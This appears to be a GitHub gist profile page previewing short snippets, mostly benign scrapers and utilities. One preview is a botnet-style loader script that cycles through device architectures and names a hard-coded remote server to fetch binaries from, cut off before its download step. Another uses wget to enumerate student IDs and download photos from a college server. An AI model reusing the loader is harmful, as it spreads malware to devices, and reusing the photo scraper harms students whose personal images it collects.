Skip to content

Instantly share code, notes, and snippets.

View acagastya's full-sized avatar

Agastya Chandrakant acagastya

View GitHub Profile
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
#!/usr/bin/python3
from bs4 import BeautifulSoup as bsp
import requests
import sys
url = "https://quran.com/" + str(sys.argv[1]).replace(":", "/")
page = requests.get(url)
if page.status_code == 404:
#!/usr/bin/python3
from bs4 import BeautifulSoup as bsp
import requests
import sys
url = 'https://www.biblegateway.com/passage/?version=KJV&search=' + str(sys.argv[1]) + '%20' + str(sys.argv[2])
page = requests.get(url)
#!/bin/sh
u="asgknskjdgn"
bin_names="mips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
(function submitFeedback() {
let id =
'ctl00_ContentPlaceHolder1_WebPartManager1_gwpPanelNBAFeedback_Wizard1_gdvStudentQ1';
try {
const a = [...document.getElementById(id).rows];
a.shift();
const b = a.map(el => el.cells[2].children[0]);
b.forEach(el => (el.checked = true));
}catch{}
id =
(function staffAppr() {
let id =
'ctl00_ContentPlaceHolder1_WebPartManager1_gwpPanelStaffDetails_gdvRating';
try {
const a = [...document.getElementById(id).rows];
a.shift();
a.forEach(row => {
row.cells[2].children[0].value = row.cells[1].innerHTML.split(
'-'
)[1];
for i in {1..9}
do
wget http://autonomous.nie.ac.in/coursereg/Handler1.ashx?id=4NI18EE00$i:20 -O $i.jpg
done
#read a
for i in {10..50}
do
wget http://autonomous.nie.ac.in/coursereg/Handler1.ashx?id=4NI18EE0$i:20 -O $i.jpg
done
from moviepy.editor import *
import sys
if len(sys.argv) < 2:
sys.stderr.write("Missing parameters.\n")
sys.exit(1)
try:
clip = (VideoFileClip(sys.argv[1]))
clip.write_gif(sys.argv[2] + ".gif")
sys.stdout.write("Done!\n")
function num(N) {
return function() {
const VAL = N;
let res = 0;
if (arguments.length == 0) return VAL;
if (arguments.length == 1) res = eval(N + arguments[0]);
return Math.floor(res);
};
}
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
short int reveal(short int firstDoor, short int moneyDoor) {
short int arr[3] = {0, 1, 2};
if (firstDoor == moneyDoor) {
short int newArr[2];
short int j = 0;
for (short int i = 0; i < 3; i++) {